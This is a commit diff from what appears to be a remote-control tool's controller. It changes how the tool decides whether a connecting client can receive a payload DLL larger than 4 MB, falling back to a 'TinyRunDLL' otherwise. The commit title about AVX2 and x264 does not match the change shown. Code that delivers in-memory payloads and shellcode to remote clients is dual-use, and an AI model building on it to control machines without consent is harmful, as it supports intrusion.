Fix: Add AVX2 runtime check and optional x264 compilation
This commit is contained in:
@@ -5555,8 +5555,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
|
||||
std::string clientIP = ContextObject->GetPeerName();
|
||||
BOOL send = FALSE;
|
||||
@@ -6707,10 +6705,13 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
||||
if (buf->length()) {
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
bool supportLargeDLL = IsDateGreaterOrEqual(version, DLL_8MB_DATE);
|
||||
// 检查旧客户端是否能接收大 DLL (旧 test.cpp 客户端 bufSize=4MB)
|
||||
// 注:SHELLCODE 请求来自 main.c,一直是 8MB,不需要检查
|
||||
const size_t OLD_CLIENT_MAX_SIZE = 4 * 1024 * 1024;
|
||||
if (isDLL && buf->length() > OLD_CLIENT_MAX_SIZE) {
|
||||
if (isDLL && !supportLargeDLL && buf->length() > OLD_CLIENT_MAX_SIZE) {
|
||||
Mprintf("[SendServerDll] DLL size %.2f MB: use TinyRunDLL instead.\n", buf->length()/1024.);
|
||||
buf = is64Bit ? m_TinyRun[PAYLOAD_DLL_X64] : m_TinyRun[PAYLOAD_DLL_X86];
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user